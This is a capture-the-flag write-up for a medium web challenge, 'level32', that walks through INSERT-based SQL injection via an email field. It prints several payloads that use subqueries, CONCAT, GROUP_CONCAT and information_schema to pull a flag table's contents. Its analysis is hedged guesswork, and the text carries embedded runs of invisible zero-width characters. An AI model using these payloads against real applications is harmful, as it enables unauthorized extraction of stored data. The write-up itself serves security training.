← Back to Writeups
CUSTOMMediumWeb
Bookmark

level32

XESXOR9/2/20261 min read
#web#custom#medium#data_concatenation#insert_based_sqli#subquery_extraction

level32

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: data_concatenation, insert_based_sqli, subquery_extraction

Summary

Walkthrough of the CUSTOM Web level32. SQL injection task at http://kslweb1.spb.ctf.su/fourth/level32/

Description

SQL injection task at http://kslweb1.spb.ctf.su/fourth/level32/

Analysis

The application has a form (likely registration or data submission) that uses an INSERT statement. The email field is vulnerable to SQL injection, allowing insertion of arbitrary data via subqueries.

Key vulnerability: The email field value is directly concatenated into an INSERT statement, allowing injection of subqueries to extract data from other tables.

Solution

INSERT-based injection via email field with subquery: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Identify the vulnerable INSERT statement
  2. Use a subquery in the email field to extract the flag
  3. The flag may be split into parts that need concatenation

Example payload for email field:

 sql 
test@test.com',(SELECT flag FROM flags))--

Or with CONCAT to combine flag parts:

 sql 
test@test.com',(SELECT CONCAT(part1,part2) FROM flags))--

More complex payload if flag is in multiple columns:

 sql 
x',(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flags'))--

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Then extract actual flag:

 sql 
x',(SELECT CONCAT(flag_part1,flag_part2,flag_part3) FROM flags))--

The injected data is then displayed back when viewing the submitted record. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering data_concatenation, insert_based_sqli, subquery_extraction was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • level32 • Difficulty: Medium